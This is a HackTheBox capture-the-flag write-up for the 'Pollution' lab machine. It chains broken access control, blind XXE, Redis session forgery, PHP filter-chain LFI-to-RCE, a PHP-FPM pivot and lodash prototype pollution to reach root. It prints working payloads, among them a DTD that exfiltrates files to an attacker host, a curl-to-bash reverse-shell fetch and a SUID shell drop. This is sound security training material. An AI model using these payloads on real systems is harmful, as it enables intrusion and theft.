HTB: Pollution Writeup

Pollution - HackTheBox Writeup

Machine Information

AttributeDetails
NamePollution
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.228.126
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Pollution chains four distinct vulnerability classes across three virtual hosts and two internal services. A role-escalation bug on collect.htb grants admin access to an internal “Pollution API” registration form, which turns out to accept raw XML and is vulnerable to blind XXE. Out-of-band exfiltration via an attacker-hosted DTD dumps .htpasswd, PHP source, and Redis credentials from developers.collect.htb. Those credentials feed a session-forging attack against an externally exposed Redis instance, bypassing auth entirely, which unlocks an LFI-to-RCE primitive built from PHP filter chains — landing a shell as www-data. From there, an internal PHP-FPM pool listening on 127.0.0.1:9000 is abused to pivot to user victor, and a root-owned internal NodeJS API on port 3000 falls to a classic lodash prototype pollution bug (CVE-2018-16487) that hijacks a child_process.exec call to run a planted SUID shell.

TL;DR: Role-escalation → admin API access → blind XXE (OOB DTD) leaks Redis creds + cracked htpasswd hash → Redis session forgery bypasses developers.collect.htb auth → LFI2RCE via php://filter chain → www-data → PHP-FPM pool pivot → victor → lodash prototype pollution (CVE-2018-16487) on internal NodeJS API poisons Object.prototype.shell → root.


Reconnaissance

Port Scanning

Terminal window
# initial scan from the jump host
nmap -Pn -sC -sV -T4 10.129.228.126

Results: 22 (SSH) and 80 (Apache/HTTP) visible on a quick scan. A full port sweep revealed a third open port not obvious from the default top-1000: 6379 (Redis), exposed externally with no firewall restriction — this became the auth-bypass primitive later in the chain.

Service Enumeration

Three virtual hosts were in play, resolved via /etc/hosts on the jump box:

  • collect.htb — main site, registration/login, role-based access
  • forum.collect.htb — secondary site
  • developers.collect.htb — internal-looking developer portal behind Basic Auth
Terminal window
# add vhosts on the jump host
sudo -n sh -c 'printf "10.129.228.126 collect.htb forum.collect.htb developers.collect.htb pollution.htb\n" >> /etc/hosts'

Registering an account on collect.htb and logging in landed on /home. Enumerating the app surface (href=/action= scraping) surfaced /register, /login, and — critically — a /set/role/admin endpoint gated behind a token.

Vulnerability Assessment

  • Broken access control: /set/role/admin accepts a token and flips the current session’s role to admin, unlocking /admin — an internal “Pollution API” management panel.
  • Blind XXE: The admin panel’s user-management form posts to /api via a manage_api= parameter containing raw XML, parsed server-side without disabling external entities.
  • Exposed Redis: Port 6379 reachable from outside the host, no auth enforced beyond a static password later leaked via XXE.
  • LFI: developers.collect.htb’s router builds file includes directly from a page GET parameter with no path sanitization.

Initial Foothold

Exploitation Path

1. Role escalation to admin

Terminal window
# register + login, then flip role using the leaked token
J=/tmp/pcj.txt
curl -s -c $J -b $J -i -X POST http://collect.htb/register -d 'username=d3vuser&password=d3vpass123'
curl -s -b $J -X POST http://collect.htb/set/role/admin -d 'token=<redacted>'

/admin now renders the “Pollution API” registration form, which builds and posts XML to /api.

2. Blind XXE → OOB exfiltration

The /api endpoint parses attacker-supplied XML from the manage_api field. In-band entity reflection wasn’t returned in the response, so exploitation required an out-of-band external DTD hosted on infrastructure the jump box controlled, retrieved by the target over the VPN tunnel (tun0, jump box IP 10.10.15.68).

Terminal window
# confirmed jump box VPN interface reachable by target
ip -4 addr show | grep -Eo 'inet [0-9.]+'

Malicious DTD served from a local Python HTTP listener (initial attempt on :8000 collided with an existing service on the jump box returning spurious 404s — moved to :8888):

evil.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://10.10.15.68:8888/?leak=%file;'>">
%payload;
%run;

Triggering payload sent to /api:

Terminal window
XML='<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://10.10.15.68:8888/evil.dtd">%xxe;]><root>...</root>'
curl -s -b $J -X POST http://collect.htb/api --data-urlencode "manage_api=$XML"

Why this works: the parser resolves the external parameter entity %xxe, fetches evil.dtd, and expands %file through a php://filter wrapper that base64-encodes the target file before it’s smuggled out inside a second outbound request (%run) to the exfil listener — classic two-stage OOB XXE, needed because binary/text file contents can’t safely traverse straight into an XML entity or URL otherwise.

Files pulled this way:

  • /var/www/developers/.htpasswd → Apache-format $apr1$ hash for developers_group
  • /var/www/developers/index.php → confirmed the app trusts $_SESSION['auth'] and does include($_GET['page'] . ".php") (the LFI sink)
  • /var/www/developers/bootstrap.php → Redis session backend with password COLLECTR3D1SPASS

3. Cracking the htpasswd hash

Terminal window
echo '$apr1$...' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# recovered: developers_group : r0cket

4. Redis session forgery — auth bypass

bootstrap.php stores PHP sessions in Redis and treats $_SESSION['auth'] == true as the sole gate on index.php. With the leaked password, a session could simply be forged rather than logged into:

Terminal window
redis-cli -h collect.htb -a COLLECTR3D1SPASS
SET "PHPREDIS_SESSION:<own-PHPSESSID>" "auth|b:1;"

Reloading developers.collect.htb (with Basic Auth developers_group:r0cket and the matching PHPSESSID cookie) now landed on the authenticated home page — no legitimate credentials for the app itself were ever needed.

5. LFI → RCE via php://filter chain

index.php’s include($_GET['page'] . ".php") with no sanitization is a textbook LFI. Rather than needing a writable file to include, the synacktiv php filter chain technique was used: a long, purpose-built chain of convert.iconv.* filters mutates an arbitrary base64 payload into executable PHP text purely through filter side effects, then convert.base64-decode renders it as real PHP inline — no file write needed, since the php://filter stream itself becomes the “file” being included.

Terminal window
# planted payload equivalent to: <?=`$_GET[0]`;;?>
# executed via crafted php://filter/... chain against index.php?page=<chain>
curl -G "http://developers.collect.htb/index.php" \
--data-urlencode "0=curl 10.10.15.68:8888/bash.sh|bash" \
--data-urlencode "page=php://filter/<synacktiv-chain>/resource=home" \
-u developers_group:r0cket -b $J

The remote command pulled and executed a bash reverse shell payload, landing a shell as www-data.


Privilege Escalation

www-data → victor

Internal enumeration on the box turned up a PHP-FPM pool bound to 127.0.0.1:9000, configured to run as user victor:

Terminal window
# on target, as www-data
cat /etc/php/*/fpm/pool.d/www.conf | grep -E 'user|listen'
# listen = 127.0.0.1:9000
# user = victor

PHP-FPM speaks FastCGI, not HTTP — www-data had local access to the loopback port, so a raw FastCGI request was crafted to hand the pool arbitrary PHP for execution as the pool’s configured user, victor. Using cgi-fcgi to submit a payload script against the FPM socket executed code with victor’s privileges regardless of the fact the request originated from www-data, since the FPM worker process itself runs as victor.

Terminal window
# on target, as www-data — FastCGI request executes as victor
cgi-fcgi -bind -connect 127.0.0.1:9000

This yielded command execution as victor, and the user flag was retrieved:

User Flag: <redacted>

victor → root

A root-owned internal Node.js API was listening on port 3000. Enumerating its routes and grabbing app source/config exposed a JWT signing secret (JWT_COLLECT_124_SECRET_KEY) and a MySQL account (webapp_user) usable to directly promote a database user to admin, yielding a valid admin JWT for the API.

With admin access to POST /admin/messages/send, the request body was polluted with a __proto__ key:

Terminal window
curl -s -X POST http://127.0.0.1:3000/admin/messages/send \
-H "Authorization: Bearer <forged-admin-jwt>" \
-H "Content-Type: application/json" \
-d '{"text":"x","__proto__":{"shell":"/home/victor/fakeshell"}}'

This exploits CVE-2018-16487 — a prototype pollution flaw in lodash <= 4.17.10’s merge/mergeWith/defaultsDeep functions, where a crafted __proto__ key in user-controlled input isn’t blocked and gets merged straight onto Object.prototype. The target app (running lodash 4.17.0) merges request bodies with these functions somewhere in its message-handling path; polluting Object.prototype.shell means every object in the Node process that doesn’t already define its own shell property inherits the attacker’s value — including whatever config object root’s backend code passes to child_process.exec(cmd, { shell: <inherited-value> }).

A malicious fakeshell was pre-planted at /home/victor/fakeshell (writable by victor). Once Object.prototype.shell was poisoned to point at it, the next child_process.exec call executed by the root-owned Node process used the attacker’s shell binary instead of /bin/sh, executing arbitrary commands as root. That was used to drop a SUID bash:

Terminal window
# fakeshell content, planted before triggering the pollution
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

Verification:

Terminal window
/tmp/rootbash -p
id
# uid=1000(victor) gid=1000(victor) euid=0(root) ...
Root Flag: <redacted>

Attack Chain Summary

Register on collect.htb → POST /set/role/admin (token) → admin panel access
→ Blind XXE at /api (manage_api=) via OOB external DTD
→ Leak .htpasswd, index.php, bootstrap.php (Redis creds: COLLECTR3D1SPASS)
→ Crack $apr1$ hash → developers_group:r0cket
→ Forge Redis session (SET PHPREDIS_SESSION:<sid> "auth|b:1;") → auth bypass on developers.collect.htb
→ LFI (index.php?page=) → RCE via synacktiv php://filter chain
→ Shell as www-data
→ PHP-FPM pool (127.0.0.1:9000, user=victor) abused via cgi-fcgi → victor (user flag)
→ Root-owned NodeJS API :3000 → admin JWT via webapp_user MySQL creds
→ CVE-2018-16487 lodash prototype pollution (__proto__.shell) poisons child_process.exec
→ Planted /home/victor/fakeshell executes as root → SUID /tmp/rootbash → root (root flag)

Tools Used

ToolPurpose
nmapPort scanning, service/version detection
curlManual HTTP requests for auth flow, XXE payload delivery, LFI2RCE trigger
python3 -m http.server (custom handler)OOB listener for blind XXE DTD hosting + exfil capture
john (JohnTheRipper)Cracking $apr1$ htpasswd hash against rockyou.txt
redis-cli / raw socketForging PHPREDIS session to bypass developers.collect.htb auth
synacktiv php filter chainConverting LFI into RCE with no file write
cgi-fcgiSpeaking raw FastCGI to the PHP-FPM pool to pivot to victor
Crafted JWT + prototype pollution payloadForging admin auth and triggering CVE-2018-16487 on the internal NodeJS API

Key Learnings

Techniques Practiced

  • Broken access control leading to privilege self-escalation via an unauthenticated role-change endpoint
  • Blind/OOB XXE using a two-stage external DTD to exfiltrate binary-safe file contents through php://filter + base64
  • Session-store poisoning: abusing an exposed Redis backend to forge application-level authentication state directly
  • LFI-to-RCE via PHP filter chains (synacktiv technique) — RCE without ever writing a file to disk
  • Lateral movement through an internal FastCGI/PHP-FPM socket running under a different Unix user
  • Exploiting a well-known npm supply-chain-adjacent bug (CVE-2018-16487, lodash prototype pollution) against a real internal service to hijack child_process.exec

Lessons Learned

  1. Internal services (Redis, PHP-FPM, Node APIs) that trust “only reachable from localhost/internal network” are a single misconfiguration away from full external exposure — Redis here had zero network isolation.
  2. XML parsers that don’t explicitly disable external entities remain exploitable even when the app never reflects parsed output — OOB exfiltration via attacker-hosted DTDs sidesteps that entirely.
  3. Session storage backends (Redis, Memcached) that authenticate purely via a shared static password become an authentication bypass the moment that password leaks through any other channel.
  4. php://filter chains are a genuinely file-write-free RCE primitive against LFI — worth checking on any unauthenticated include($_GET[...]) sink before assuming LFI is “just” info disclosure.
  5. Pinned dependency versions matter: lodash 4.17.0 predates the 4.17.11 patch for CVE-2018-16487 by several releases, and a single unguarded merge-family call on user input reintroduced prototype pollution years after the CVE was public.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • dotguy (Hack The Box Official Writeup), Pollution, Document No. D22.100.217, Machine Author: Tr1s0n — used for background on the synacktiv php filter chain LFI2RCE technique, the PHP-FPM/victor pivot mechanics, and general narrative structure. All IPs, credentials, command outputs, and payload values in this writeup are from the author’s own live solve, not the reference document.